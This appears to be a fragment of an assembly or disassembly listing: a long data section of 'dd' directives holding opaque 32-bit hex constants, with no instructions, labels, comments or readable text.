7E04479Fh, 0E42D2400h, 4213A5C4h, 0EFC21F01h, 9807D2D0h dd 0F092AF43h, 64C31Ah, 2590BDEDh, 0E3403FB8h, 3D8ED500h dd 0C689F348h, 242C005Bh, 6B36B2D3h, 5C07F04Eh, 0FD2D265Eh dd 0B32E8710h, 0F6071F6Eh, 9FB6C0DAh, 0CE53EAE8h, 8046983Eh dd 3F37D534h, 0EF7008D6h, 0E6D0D2F5h, 5A160077h, 0B69CEF73h dd 7400E4FDh, 6DB014E7h, 0DE13D0h, 0B359B95Eh, 33B178A3h dd 588239h, 86420FFEh, 7314A4B5h, 780EE74h, 0C9EE279Ch dd 3D2AB06Bh, 4073D67Dh, 6DEAAA01h, 775C3184h, 0BCCDD4h dd 46E49A29h, 8AC021C3h, 4C26E900h, 0EC420ED3h, 0CA990093h dd 0E635CDD9h, 0D60F1FC3h, 0A1D24898h, 1CE9F3EDh, 1D29EF60h dd 259542D3h, 0F878F561h, 5500FE79h, 1B15EC20h, 1FB7A40Eh dd 1F78797h, 0C2538143h, 5F18C079h, 0D870E969h, 0A36D00D8h dd 0E825DC29h, 8D077DFDh, 0BD26160Ch, 79EC65E0h, 0FBF3141Eh dd 0E41EBC02h, 0EB1943BFh, 8490BE46h, 0BB00D2F6h, 0F47A2E2Ch dd 5D947h, 0E0ABF89Dh, 0F9C2B850h, 438D4F00h, 5659D578h dd 44BC000Ch, 14D9365Dh, 6FEE3D8Fh, 776B5F00h, 72CE5BD3h dd 875002Dh, 91222A9Eh, 0F8038C0Ch, 0BFFCA63h, 3BA00948h dd 37038578h, 0C09501A9h, 0C5E0F215h, 3874BF00h, 0ACDEF5C7h dd 8B680044h, 3EAD0834h, 0E53BB98Ah, 3A9591Eh, 0BFEC412Fh dd 4A8F8AAh, 71880261h, 696A0E7Ah, 3FE5DEC1h, 7D95EBA0h dd 89310098h, 0DD7F58EFh, 40093FCh, 0B16D4F53h, 2484B04Ah dd 6DA7EBh, 742F35F8h, 0A40CDDF0h, 98C75738h, 0ACA03B50h dd 0E78C1DB8h, 0B1C9126h, 0C1F4C600h, 7CFB256Dh, 0B3AC00DAh dd 0B9219DFAh, 5E06802Dh, 0B72CBF06h, 0D0C4000Ch, 0CB6D84FFh dd 0FD00AFE9h, 87134A39h, 0C4FAA04h, 1C74FCB2h, 0B879D610h dd 1BEAF900h, 926FB6BBh, 0E06A4F37h, 94003FA3h, 6B8A7BD4h dd 90082FD0h, 28E53C1Ch, 0B1B41F02h, 0E609134h, 80EAFF9Bh dd 68D3AF06h, 0F0884Bh, 0A55A9AE9h, 8189EC56h, 0C6B8700h dd 0E00FC5EFh, 5B48C0B4h, 0BFCFA337h, 5616BA00h, 86EFC868h dd 0D9EAB0h, 3472829Bh, 0FD190713h, 8E212309h, 7374037Ah dd 0F705E8C6h, 91E23DDCh, 804A879Dh, 9E6A9835h, 0D100DD6Fh dd 545D0729h, 6B6546h, 10206E87h, 0D2C10E42h, 0FCF59E7Fh dd 0CB1E1271h, 7983BEA4h, 0A091EBC3h, 457A39h, 62999730h dd 0FE669F10h, 423D0DE4h, 0B0713822h, 0E7D14005h, 34F63E4Bh dd 84BF6100h, 0BCEEB5B4h, 0DFD42300h, 3CE2E1B1h, 0D58D0079h dd 8706C6A6h, 0E5003591h, 555D7DC8h, 736C5327h, 447B73h dd 0A79001DAh, 0FDFC7097h, 0ACE03F0Fh, 4C71A0D0h, 1EC61B74h dd 3DE429B1h, 5289FE80h, 0B6128A49h, 16200503h, 907F862Dh dd 1327D8h, 806B0926h, 2588BFF0h, 6547661Eh, 450EF380h dd 78BD777Eh, 0DCEC1Ch, 1067EE83h, 6938924Ch, 18DB4100h dd 3B717DCCh, 0A087E0CEh, 1F45DFF0h, 8047784Ah, 3CF4F233h dd 0E100632Ch, 3B1AAAA7h, 0CA2925h, 82DD9186h, 19BD4052h dd 0B0AF7D1Ch, 21D1C9C0h, 0BC8738Fh, 66E9813Ah, 0E3008F0Bh dd 97DA88B8h, 5468E0Fh, 2BB1E085h, 7402B424h, 5AC90056h dd 0C328DDB3h, 543A114Ch, 55FC0E4Fh, 2BC8A039h, 29B9Eh dd 2001D77Dh, 6998F5E9h, 0E2464500h, 4BA47BC7h, 774D0A8Dh dd 0A48685h, 0F0ADE178h, 2E783AFAh, 4C2A5D1Ch, 1C9C1D98h dd 0A0C04C9h, 90CA7F96h, 0A0AFABE8h, 0DB3FA70Bh, 5BA20038h dd 7D0BFAFDh, 0B09BFE63h, 3BB512B4h, 9DC440B8h, 9F995486h dd 67660B00h, 0D6D8E9CDh, 936000C2h, 91F809DDh, 0B303A23Bh dd 0F66A959Ch, 882BD09Bh, 1AE80054h, 0A1129FAEh, 0CD00D546h dd 495F3C73h, 7702531h, 0CF0E63ABh, 0C4F8500Ah, 0A901475Bh dd 78600D4Fh, 75E09916h, 7BF7C10h, 9ED79030h, 509FF00Bh dd 730EFDB1h, 0A0049556h, 131D0E15h, 14FA00E7h, 4329DF06h dd 6000D7BBh, 2BFBA218h, 37ED52h, 0A24599Fh, 0CF557DCDh dd 84923C14h, 35007690h, 0BB7A28BAh, 24E2A3h, 11931C2Fh dd 294A9A96h, 0BA191600h, 903FC1B6h, 2AD00002h, 0A1BE2EAAh dd 2105CC0Dh, 58A7DF10h, 772238C7h, 981043D9h, 1E6278A8h dd 811EA16Ah, 0FA175899h, 0BF7E6001h, 0FC74D1E1h, 6600AB51h dd 0FB655E72h, 0DB29F8h, 6DB9AA7Ah, 0EF4854F4h, 3BA90E3Eh dd 0BD118085h, 0E8198B6Bh, 0CDCE018Dh, 0A12CB772h, 0A886ECE0h dd 0F2635303h, 0AAE43CDEh, 8D194079h, 0B2B61F75h, 3405C2DFh dd 80A1EC37h, 0DCDA0CEBh, 9100C5ABh, 2718551Ch, 1B4D49Ch dd 17561B92h, 0E8D39D02h, 5758FD8Fh, 0D79114CEh, 111D3418h dd 7FE8480h, 622F4CD8h, 60ACC918h, 5F3E3186h, 0A8C5070Fh dd 1470656Fh, 2640312h, 4745B80Ah, 0D848105Bh, 1CA06D6Eh dd 7000B22Dh, 6F6A2CDDh, 2A882FD7h, 2CCA6Eh, 9CE20F60h dd 0B4B0A8B8h, 7200D4E8h, 0E3461F0h, 306FBAFCh, 5C31AFA0h dd 3143A10h, 5B385A47h, 0EBA63280h, 9D30C9AFh, 5F63EC01h dd 0D218C804h, 80396230h, 21792FD4h, 470AC76Eh, 0B4002459h dd 57C08C18h, 61460FB3h, 49C00FECh, 0B24BD8Dh, 1E67163Eh dd 939FC5CFh, 70BBF8h, 0C4A4109Bh, 0EDB864h, 437BE257h dd 53C393E4h, 549A171Eh, 607ECD85h, 0A18FFC00h, 3D88D45h dd 0A9401DF1h, 0EE88D670h, 3B009417h, 9A991981h, 1084F7h dd 7AAD7D95h, 8F60BC36h, 34BB2C00h, 0F88073DCh, 3274C3h dd 850B69A7h, 0D9284D6Bh, 312C9F09h, 89D480E2h, 0CABCD4h dd 0EEE7E0Ah, 46B59012h, 339E771h, 4EA10075h, 0DFDA0AA3h dd 0BC941EB0h, 0B8434093h, 6CC9F01Fh, 219ABF00h, 3B3332F3h dd 0D5E4D6h, 0DBA8E53h, 61EC8CB5h, 0C0854A05h, 0AC42B16Fh dd 85D1BF90h, 0E2C1C2FCh, 898DA47h, 97121A4h, 9C4ED200h dd 0A51A544Fh, 3FA0F638h, 85006853h, 0DA431017h, 2500132Ch dd 0D5973A1Ch, 0A47D5D87h, 0DB4B00D8h, 0F8B7C1EEh, 0BAB0988Ch dd 3A6408C0h, 19661Fh, 5FE8DEBDh, 5173279Bh, 0C1184860h dd 0DBD006h, 9EAE752Eh, 457C7764h, 8AE80202h, 0DD66DE9Bh dd 1040FEE0h, 0A6424B0Fh, 47FA6685h, 0E8F040h, 736F9965h dd 0BB5F2F0Ch, 0D6085B66h, 6DE20021h, 0F81A9699h, 0F3488328h dd 8DDE3EF5h, 8958C436h, 7B9545DCh, 7510C14Ah, 9E2D3897h dd 742E920h, 631B365Ah, 0F5310096h, 0DC23D654h, 6900A0D1h dd 0CD380BE0h, 7AD7F40h, 792D451Dh, 1E20D366h, 3F486000h dd 9CCA9E15h, 2E880706h, 46BF0F04h, 5A002128h, 2C3A9DDEh dd 47A996h, 544DF8EAh, 0D88ED318h, 80902168h, 8C37730Bh dd 0C110CFh, 124E61DFh, 9AAF6662h, 0F450FD00h, 74E0E449h dd 0EEC504B5h, 0C170633Bh dd 0D0CC4FBAh, 291C3E40h, 4E00067Ah, 46DCE56Dh, 6FE47485h dd 0A7C021B2h, 2071C005h, 4AB16000h, 0C826FEFAh, 0EC400CBFh dd 0C928C4F1h, 1C00A173h, 0B362A7Fh, 0CC8556C5h, 9721E508h dd 0CB071CF8h, 47A301A0h, 7EC34B51h, 5C09C8h, 635EC6A8h dd 3E416516h, 39D4EE30h, 0BB110BEh, 0D3361778h, 565D87D5h dd 0F0833880h, 0DEE076Bh, 21248950h, 8098DFD5h, 372EC139h dd 0C046497Dh, 8C076011h, 0B106D86Eh, 29CFC525h, 38F43008h dd 8CEC8520h, 3AA8BF18h, 73234010h, 12780071h, 94B52972h dd 3E01C669h, 0B86B3D5Dh, 2880BA34h, 83546AFDh, 6E0EEAEBh dd 807B5EA2h, 0BB8006B0h, 0CB8F01CFh, 5A4D3BF8h, 74E883ACh dd 735C0A4h, 2AE00441h, 9FC05C49h, 0A046EA0Ah, 4183D85Eh dd 0D13FADh, 0AF013510h, 1F3D4E0Ch, 0F333D404h, 0A687F758h dd 0E51E205Fh, 0DEA02Ch, 9624015Fh, 80FCFE7h, 0FC32B007h dd 0C960CA68h, 5870DBF4h, 0E0508721h, 62910FA2h, 5E1968Fh dd 0D10C4EA6h, 0AA218014h, 0AE0919Ah, 0DA5B001Fh, 0D2AB374Ah dd 66330376h, 98545028h, 311925EAh, 2739241Fh, 2EFFF092h dd 10550B37h, 7EC5DFB0h, 0ADF40376h, 0ACEA8E6Ah, 80685AA1h dd 0C6174D20h, 1168952h, 9E0BF8EBh, 10762F61h, 7B9F85E6h dd 4CD970A7h, 7060B5FAh, 6EDA9C0Dh, 0F7EA90C7h, 9A00E837h dd 61E55E3h, 9D17F24h, 8D0D9827h, 38348FA8h, 9A01A083h dd 28005863h, 486C94F3h, 0CF7273h, 0AA33E216h, 4FDE7484h dd 9E001B7Bh, 0C9D2306Dh, 7C344Ah, 25AE9C97h, 4F5D44F9h dd 24B50100h, 3B60A2F7h, 8632000Bh, 6D9D82D9h, 727BE38Ch dd 2634B500h, 9E74DD6Bh, 335C0094h, 813964FEh, 3C16B251h dd 0DC039D88h, 0E88B8624h, 263C666h, 0F5A7439h, 209E3BB3h dd 897FFB10h, 2862F4C0h, 300E0B56h, 0D9E75h, 0A594A74Bh dd 0F4ECF0EEh, 600FF8F1h, 9562063h, 71032D4Bh, 0AF0C16B2h dd 5458150h, 0FBB01E10h, 9C84A250h, 7408C160h, 0B0507F0h dd 0D5BA4647h, 71C8D980h, 4360A93Bh, 5CDF1BF0h, 2E1754Fh dd 1E9DF725h, 0A8A0215Fh, 0E2D747FFh, 6A559200h, 2A23E581h dd 0C8EC0E38h, 0D81D3016h, 0F39E684Ah, 683C6229h, 6B4B0400h dd 86F00595h, 520844h, 0AEF84BEDh, 5DA6C3E1h, 0EB53C0FFh dd 994F5B0Ah, 90B2D8BCh, 4F122755h, 0AC8B28C3h, 94D41000h dd 4EF5BDD2h, 0DDE19B2h, 50E5085Fh, 0CB703684h, 40F12000h dd 0F603A360h, 0AFA1C012h, 0BEEAFB45h, 42FD1976h, 0A7304630h dd 46F5E0D2h, 1E82286h, 0FCCB6F37h, 0D48EB94Fh, 5F20EFDDh dd 9520C551h, 84C44098h, 0B386A1AFh, 0D8B26E50h, 1294E93Eh dd 184B766Fh, 0E31C006Dh, 3B08BB58h, 747912FFh, 214763FEh dd 30D727F9h, 0E8351638h, 7B31EF0Eh, 4C43A0C0h, 7E2FA380h dd 0F8E1C0E5h, 0BD0831BAh, 0E822EA04h, 66C0B6C4h, 0CF720C3h dd 9CFA6DB8h, 0FE0074F9h, 45221D44h, 3390FC42h, 0A908532Bh dd 3C642100h, 32B3DE1Dh, 0C7B82Fh, 298119A0h, 9D8FA76Dh dd 27460090h, 0A84B0101h, 0CEE8D94h, 0E5F8804h, 18604B00h dd 0B29A2316h, 0B60C3037h, 2FE85671h, 615828C0h, 5C6270h dd 7D97180Ah, 6FB57EB7h, 0D79D6A1Bh, 3553D031h, 8A72ADh dd 711E348Bh, 87921F5h, 6B22B300h, 11F38077h, 91572876h dd 0ABE301F0h, 0FCE88A37h, 644BF279h, 0E20D07E0h, 90857319h dd 6181AD9h, 94914B04h, 502CF095h, 874BEF3Dh, 0BF01A89Bh dd 2A43C00Eh, 48D4D0A5h, 3E23FC68h, 954BCA01h, 284AF594h dd 4BB1AC00h, 9BED321h, 98C84101h, 9961D90Eh, 72758030h dd 6779806Eh, 83067100h, 0EE70519Dh, 661A01D5h, 7572C3CAh dd 65E181F3h, 5830DDFh, 0AF7DC8h, 2CE2AD6h, 8ADD8FC6h dd 9EF5FE09h, 31500EB1h, 4DE32280h, 0A2140BBh, 1ED81113h dd 178E3A2Ah, 45B2C05Fh, 133A3B0h, 0A3961E8h, 22F23179h dd 0ECC00028h, 466E7113h, 9447D9Eh, 0A0F8DC89h, 40D660A4h dd 59877753h, 0B8C400B3h, 0C65894ADh, 0F8FA098Ch, 43C33700h dd 1D9C6065h, 0B67900A7h, 0D347314Dh, 0FF006323h, 0DC35D40h dd 0F0623F39h, 1CB3F4D1h, 0C0EEF23Ch, 0D57DEDFAh, 4CA0AD4Ch dd 0D0F5189Ah, 0BD03EE2Ah, 0FA82472h, 0F5738812h, 97320EFCh dd 6ED21578h, 939000Ch, 5A02AA73h, 24FA4D1Bh, 41AE0803h dd 8F9094DFh, 8700E5A8h, 7F9A696h, 291A40F3h, 0BE074BAh dd 0CC5E9BDAh, 0BBA23700h, 0FDA55Eh, 0E687576Bh, 0EB860EC8h dd 79311205h, 6C006F02h, 92D72680h, 6549C0DCh, 0B4B1956h dd 0F5C5F401h, 6E166A2Fh, 8A1C309Dh, 0E0D88131h, 0B893FFA0h dd 2FB88D4Ah, 58802049h, 62452E1Dh, 60AE448Ch, 0CD1D5001h dd 8FE31FDBh, 1AF4B034h, 914F8BD7h, 0F900E466h, 0C2D886Fh dd 85C1F8h, 5EDF67EAh, 3977EBFFh, 4418D69h, 6A605DD8h dd 0F6239FCBh, 0E6115Eh, 27CB72B4h, 60758247h, 1FD7793Bh dd 171FA9D2h, 0DB0ADD8Ah, 20079814h, 80876C2Dh, 0D9603A8h dd 95A13CF1h, 0BCAC532Eh, 0C0840AE7h, 452C1D46h, 5E8E5243h dd 0B5701D20h, 8C09E329h, 80055C93h, 9033E681h, 979133D5h dd 7DA2C299h, 2504C04Ch, 38BB46E3h, 9AC9F140h, 68394D40h dd 0AD041C3Fh, 365AAE40h, 38C21EE8h, 4CBF9BE7h, 0FE85F203h dd 57C8A5F4h, 4DFA3F6Eh, 0D5E2DD1Eh, 6B528B01h, 199D68CAh dd 0A5A83F76h, 0C0C83D14h, 0CA0F1300h, 0DAE6B157h, 216408CCh dd 76D8002Ah, 0AA3757Eh, 250E24CCh, 9EE72B27h, 0A4307B83h dd 9D10C9A8h, 669F9198h, 0FE03045Bh, 0F4BC69D1h, 0A893A1D0h dd 24D82081h, 0D4F3A076h, 2007785Dh, 0C1C0533Ch, 53DBA60h dd 87130649h, 0BE0F29A9h, 0CF8BE101h, 0E3404299h, 70B27CE4h dd 90AF0068h, 0FE9221DFh, 7DE8CB85h, 0D14C9100h, 0BC4BF509h dd 47FB00EEh, 0B431B298h, 8F006BC8h, 4938DB34h, 1C811AECh dd 4FFD6275h, 0BBA0E225h, 85487254h, 98EE3Ch, 979C41B5h dd 0A0AFE9A4h, 3799D5h, 11E061C6h, 47B2CE84h, 40152E30h dd 136E4Ch, 0F1D845CBh, 7EEDFFD0h, 3A3EDAE0h, 0A9E4806Ch dd 46AD90D9h, 854239E2h, 825501F9h, 0BE0D48C0h, 0C8C07F68h dd 12CC4D0h, 14FE0343h, 807F239Eh, 77358940h, 6EFA34h dd 0A8CF6682h, 406B1420h, 67A580C0h, 0DEE424h, 683B5D27h dd 0E523DC28h, 6F9FC300h, 0EF21909Bh, 84A60066h, 0E6E4CE82h dd 0DD5097FBh, 337C6E9Dh, 42CBDA00h, 0FA4D8D95h, 1ABB0CC6h dd 9EC0077Bh, 3044F201h, 0C5029FA1h, 76095CE8h, 0AB4B3A7Dh dd 0E6643380h, 0E8FED20Eh, 34415B00h, 2D453855h, 9D273C61h dd 6283EF02h, 20806BB4h, 90AE6A5Dh, 0B0C8D700h, 0F9888DD8h dd 0E0F2545Fh, 0C13200E1h, 83FF1C44h, 38053D1Dh, 0B11B9762h dd 0C810C02Fh, 4D74C012h, 96C352h, 2679B3D3h, 0F69AE35Eh dd 8EC03767h, 3FEE013Bh, 4080F066h, 968A56C5h, 0EF003707h dd 0A4B49F75h, 5DC13D2h, 5CD8CAA5h, 7EA0074Eh, 0FCC70E6h dd 0FB00D143h, 89647927h, 175AEA8h, 5F60B799h, 43838B25h dd 26B11AC0h, 63F6F8FFh, 0D8C8EC00h, 21AF49E8h, 0FDD1072Ah dd 8B8D796h, 30585480h, 1E29E96Ah, 45DDE8E2h, 40F55C41h dd 0CC75A4E0h, 0B5003513h, 69BC586Ch, 1F399A4Dh, 306563E5h dd 518E61C0h, 0C5A6850Ch, 0A604064h, 6E374267h, 6AC40280h dd 0DC0AA8Bh, 0D7FC5A78h, 522F4300h, 25F3B51Ch, 56D80EFCh dd 0C4E07083h, 9DFE2E24h dd 0E6EE8703h, 802BE11Ah, 9E3EAEh, 0C37FF672h, 30541195h dd 0F08E0400h, 2575C0FCh, 0FFF30773h, 0A2AFB4h, 0C193F3Eh dd 7839CC73h, 70CB00CDh, 0E415AA6Ch, 1C27A45h, 687D9538h dd 20E9668Ch, 4A0FFD20h, 612F5BC3h, 67B663CCh, 1EED6030h dd 80015A60h, 34357B51h, 0DFE87A29h, 0F4206D60h, 0ED5D38h dd 9312E737h, 0A7BF6B83h, 2394434Ch, 84D61E4Bh, 62DA0F15h dd 0CE28227Fh, 0F32A7B60h, 912FFB04h, 0E0D037BFh, 0BB84EFDh dd 0F535BCF8h, 3A835F8Fh, 21003626h, 0DBAD133Bh, 2CC42110h dd 9100289Ah, 1B5D008Dh, 0B9F6ABADh, 0CA023E89h, 26DEA800h dd 8C1854Eh, 43FC3606h, 7C30BF4Ah, 0F3ED00C4h, 8683D4B3h dd 9F20209Bh, 0F6A815CFh, 0A85F906Eh, 0AB3CB2h, 21130CCAh dd 88C197h, 0D626866Ah, 961F72B6h, 0CB6D20C2h, 1EBD4282h dd 923E2320h, 334D0105h, 0AD107420h, 8C29E6D2h, 0F46744h dd 9B5EAD27h, 9129BE7Ah, 3CC019C0h, 0E2760Dh, 473133DBh dd 0BC45D13Dh, 5A5DF70Fh, 61DA0009h, 5D52B4Fh, 100D1F4Eh dd 16489083h, 0E9FAF36Ah, 0C3762600h, 0F6C6D96Fh, 4A9A2425h dd 914D8004h, 1011CDFEh, 54AA59h, 7593B269h, 7AEAD448h dd 304100F1h, 3CAAD758h, 9C031EF7h, 0B58E6C44h, 0AC491ADCh dd 7805153h, 9AF7E8E0h, 0DC823638h, 0AA3406C2h, 6D84AEAh dd 0C392AB8Eh, 0F6F0303Eh, 8C4E9900h, 932D1896h, 14790702h dd 0B039BC62h, 0B7E45F16h, 9615663h, 0EB4B90BFh, 53E805B5h dd 871E5520h, 0CB3740CCh, 7101BC5Fh, 0E508D4B2h, 5C80ED07h dd 0A92FE8C5h, 0BC90F3D7h, 0CF004D76h, 0E9D729Ah, 0A4B0DA36h dd 0BB6019Ch, 6CB2BE41h, 0A990402Dh, 0D007E72Ah, 1A888583h dd 0F690B620h, 0C68F0579h, 80EAEC9Dh, 47656EF8h, 0C26A2003h dd 15A97AE4h, 0E88B2450h, 0D500743Dh, 0CB92FD9Ah, 0ACEE3BC4h dd 1026BA7Ch, 0D71553EEh, 0DF0078A8h, 62A9F617h, 66ABD2Eh dd 257036F1h, 870060C1h, 339AE241h, 2EC493h, 5518660Ah dd 4B94C8A1h, 0AE403500h, 15DB4499h, 0CFA43E8Eh, 72AAAD03h dd 870ACBBh, 10A75430h, 176DC4h, 8CB8913h, 0E0D1EF1Fh dd 0DE49410Eh, 32750077h, 3A9A12CEh, 2864DD45h, 693A21F4h dd 9010A112h, 27848B5Bh, 0BD440DE4h, 5FE24435h, 58420C48h dd 51292642h, 518DE503h, 885516FBh, 62264h, 8B6920FEh dd 0CF05FACCh, 0D8005270h, 290B30AEh, 0EC3698h, 0DCE1B224h dd 142DEA8Ch, 0AF400307h, 5D2086EFh, 3C5891Dh, 3CB145C0h dd 19B8EE68h, 601A428h, 5D9C1207h, 5EC4AF52h, 0FF22261Bh dd 359700D8h, 488908ACh, 5F34EF00h, 9AF44288h, 0B64500B9h dd 7665156Dh, 10C0BC13h, 19038060h, 0C3A03F88h, 0C04A54FAh dd 78E40032h, 17EEB201h, 2700A588h, 0F79C2555h, 0BB1830h dd 949DA61Ch, 6F954A7Ch, 8807427Ah, 0EE67A472h, 7B889F0h dd 0F1E02F9Fh, 570A1EF6h, 4187F0D8h, 9DE1BFD2h, 97F4A1F9h dd 44791C72h, 0B42B41F2h, 20A7DF05h, 0BF1F127Dh, 0D6C0D00Bh dd 0F8ACD8D3h, 0E723052Fh, 8028FB95h, 0D14AF079h, 0ECB8F4A3h dd 82FEB27Ch, 0D847D00h, 19B64306h, 0DD160222h, 0B02F61AAh dd 0AE521C60h, 83CB3B00h, 0A8F37DE5h, 7EB9F29Fh, 33B80030h dd 1CBC1E2Ah, 4490A56Ah, 0E28E6B00h, 302928B0h, 0CA77001Ah dd 0DF5D0395h, 0B003FE1h, 0FF752C24h, 3AD45EAh, 0E789540Fh dd 30DFA1C8h, 0A03E2640h, 0E37E591Fh, 971B9885h, 0BCC9F400h dd 4452861h, 0EFD31447h, 2D528290h, 62DF8080h, 6B1D26C2h dd 3BFF0CDEh, 0BF590AF3h, 0A20068DCh, 84B60D27h, 1D0EA0Fh dd 9EC458C0h, 0DC17383Eh, 89001893h, 0D9D487D2h, 0A81DFCFh dd 0BCF4B1ECh, 0DB1F08C8h, 40C40B60h, 0CEC80007h, 4147F4EAh dd 600C731h, 792E9C4Dh, 3A0356h, 0D1CCCEC9h, 0DCF4416Dh dd 0A66BD900h, 50643CA8h, 2A6A00ECh, 5622C932h, 0EA0CF286h dd 580B706Fh, 0A22B005Ah, 0DE683A9Bh, 5E020C82h, 604985C9h dd 1630400Bh, 0F9D23DFBh, 1B782080h, 7CD681EDh, 2C676B0Fh dd 0E8EF6545h, 1C5EB603h, 262C60C7h, 7B66C68h, 0BEF45300h dd 6314B1B8h, 0A0470010h, 6BA18372h, 0EE005F22h, 2D02E003h dd 0D98A25h, 0F1EB47C9h, 1DD3F21Ch, 40196400h, 84433324h dd 3CF788Dh, 0F46A3D94h, 41A8F25Ah, 790026E3h, 0B2201217h dd 31FA24h, 973361DDh, 65518FCEh, 1AB74003h, 0D884AA03h dd 30F0D4EDh, 481870E8h, 2BB02B7Ah, 3F064100h, 528E3B85h dd 529065h, 1BACAA6Eh, 5C687523h, 3B617D00h, 0C514A1B7h dd 5FB03E3Ah, 6EE6A80h, 0E6AB172Eh, 9DD439h, 61046C01h dd 0FCBE3CAh, 8155937Ch, 0CE10C7ACh, 632EB903h, 0E0736162h dd 3DF996C8h, 0E180917Fh, 1A52DEA3h, 11287E30h, 89EA9443h dd 0CE4C7D00h, 0D03ABA49h, 0D6C00744h, 70B5B10Eh, 6C23D5F8h dd 4FCD7900h, 1E5E7E1Fh, 72571C3h, 14DFC403h, 42F50CEh dd 0BE18D127h, 0E458D44Dh, 3E9900CBh, 13787033h, 4F3B1E08h dd 0BD9480FEh, 1F8798CFh, 20850037h, 590C102h, 0CCFC9CC4h dd 0BFEB50C0h, 12BA4DFDh, 0FB990239h, 96326500h, 846A4Ch dd 0A295D1C7h, 6B1CB589h, 0D379C900h, 40AA1E06h, 32984Fh dd 0FEF1050Bh, 98A7D2FAh, 13077F7Ch, 6A70DF4Ch, 609F48C2h dd 1412A17h, 0D8B65199h, 0C4A88B15h, 591B79C2h, 0E858E344h dd 0F2C89Ah, 6B8FC41Eh, 0DA87C3CAh, 0D7243200h, 0CD564036h dd 0DC050747h, 8F2F04FCh, 35199EC0h, 100C520h, 7F6F3865h dd 0D7FF42h, 3914362Fh, 70C793F8h, 0A58FAE0Fh, 0B869C061h dd 252780Bh, 29D0734Eh, 344AB97Dh, 0DE45BE60h, 24C0AD00h dd 0FA5A3601h, 0C3FE013Fh, 0A93258D2h, 9177FCD8h, 8A1E3977h dd 722C6223h, 5AD40300h, 1CBE29Dh, 5D5B6A68h, 80634183h dd 0CD78C520h, 46A00Eh, 99219ABDh, 7D4D4504h, 0EC4A9700h dd 0A289E718h, 28433D86h, 0E530808Eh, 0DF7A2360h, 0F024393Dh dd 0D782B84Ch, 4365FB18h, 4E1EB898h, 25760Dh, 0D6303D34h dd 27B554A7h, 7478F00h, 94041FAEh, 7010308Ch, 6C15F7A0h dd 47DA9F00h, 33E8C3E6h, 50666724h, 0C1200082h, 4C38EAB1h dd 8000FB7Ah, 40638F6Ch, 481A04E3h, 0DE48B316h, 251BA302h dd 81C89934h, 0CC007C0Ah, 1333539Bh, 0DEC9C4h, 0F597A4F6h dd 0EBACD1F3h, 6684DF00h, 2F1B1862h, 0C0350044h, 33C9A7A1h dd 100FC39h, 569C3F58h, 0C2EA85h, 1B48FA9Ah, 0CD20B9AAh dd 8E17B26h, 0FA8CA14h, 0A39E8341h, 0B83AD6BFh, 28CBE5h dd 0E9A24BA9h, 3EF8CA55h, 0C8D76E3Ah, 865A017Ch, 7AA8AFF0h dd 6C00D93Ch, 83A5C21Dh, 0A09806F1h, 0F6D9DD00h, 0E452D470h dd 248B0C0Eh, 0B6A815C5h, 0F4C83A00h, 36AE492Dh, 0EA352467h dd 0B9D2001Ch, 0D012534h, 57C82200h, 14CE8B60h, 7492EE96h dd 4B770059h, 3AF32F42h, 9C005B15h, 413CE24h, 67C76Ch dd 49EC1D77h, 0FA7EED9Ah, 0C897071Fh, 9F6B7F80h, 2A32BC3h dd 0EFE99B6h, 50607819h, 20004D31h, 0B0B98BA8h, 1C5CBFC8h dd 28EFACA4h, 0ADEE04B0h, 81278346h, 346D429Ch, 510C3C7Ch dd 0A856CC8Eh, 0B90A032Ah, 6E46F038h, 3405DAC1h, 5D73F4ACh dd 9AB7ED00h, 0A133E1A0h, 47411C66h, 0B90B0160h, 0CC14DAFCh dd 0A8ECCC65h, 69065803h, 63CB284h, 7E8BC086h, 0C2F8B11Bh dd 0F7280C90h, 663BE495h, 8FF98C6Dh, 722D1094h, 0D42F0004h dd 0A8FAC43Ch, 8101801Ch dd 0B3A2C0F2h, 99C0DA40h, 0B17008Ch, 0C2C9E43h, 0FC06EFE2h dd 78FA4CCDh, 0D14E1F48h, 4F7C491Bh, 19B89786h, 2B061F00h dd 0E63EC4A1h, 21980990h, 0EC007C27h, 0AA72E210h, 0E1AE5100h dd 6DB26095h, 0DE860338h, 0A607593Eh, 13E22800h, 0B56B5A42h dd 0D23C00FBh, 8C78356Dh, 0D8E0F394h, 3733EF00h, 0F09F6675h dd 6C860F64h, 0D60901B3h, 0FB084409h, 26C08FC4h, 6200ACB4h dd 72DEEA48h, 5C0F25A2h, 38A09208h, 13FF5DE4h, 321821h dd 388968E5h, 0E100FE10h, 3B0DBCFCh, 0F423DECh, 597D03Ch dd 8B612C41h, 0B5BC3089h, 102FBE30h, 0F4EBF59Ch, 33500A9h dd 57342865h, 0AA01ED7Dh, 0D75B76A3h, 14301E9Dh, 69BC0072h dd 0A811D22Ch, 45037D6Dh, 3BC1F54Fh, 0D74390DFh, 0E4FA0042h dd 7B3DB159h, 0F11FEC72h, 802CAD19h, 60B6B40Eh, 0FAFC7E71h dd 0E6FF0064h, 0B1B280F0h, 94003606h, 0D857C6C8h, 1E072388h dd 401D7968h, 0B5135E70h, 0FD0E3318h, 5E0AA60Dh, 134EEC3h dd 5180DC62h, 2689343h, 0AB28185Dh, 0F0808390h, 3237A9FCh dd 0B60F5F14h, 34D61DACh, 17ACDF00h, 60947B57h, 535B18B0h dd 1B00BCEAh, 7A4B7E87h, 0B43ADA5h, 2EDCCEE4h, 80075480h dd 1102526Bh, 8F2AF282h, 0A59840A9h, 2167EE4h, 0B2D929F6h dd 24E82EAFh, 91E878Ah, 74A7681h, 51148447h, 0C7400EC4h dd 0AE84217Ch, 0E820E0E9h, 0ADCE0394h, 0BC17214Dh, 0C951A2F8h dd 0F563100Eh, 48D440DAh, 0D0185Eh, 38065BEEh, 514DCA5Ch dd 2A712909h, 0E56CA005h, 7B9D27h, 0FF3EDC3h, 0C1D90D8Ah dd 157C34FAh, 8B96473Ah, 0A0DE6A6Dh, 9EB43DA8h, 91AE604Fh dd 0EBF49AD6h, 0D2058C7Bh, 5478D9C6h, 8DA13F80h, 9974001Bh dd 0E37CD1BFh, 2026C047h, 0EB003006h, 4ADE6BB3h, 985CFC13h dd 96472B0h, 0D3876F58h, 0B3C630A0h, 0D79F3C8h, 0EBA54901h dd 0BC079AD1h, 182A2130h, 56998A3Bh, 0E8006373h, 0DE7933E4h dd 0CD82EDh, 6C3592E7h, 8C830DF4h, 6A54B400h, 4315203Ch dd 0B861ECAh, 0B22B4344h, 0C2B0075Eh, 18005F10h, 0F783D2F3h dd 0B8517Eh, 97E03BEDh, 0AF44B553h, 90FA4Ch, 8D6DC638h dd 542F0A70h, 0F65190DCh, 9C733C6Fh, 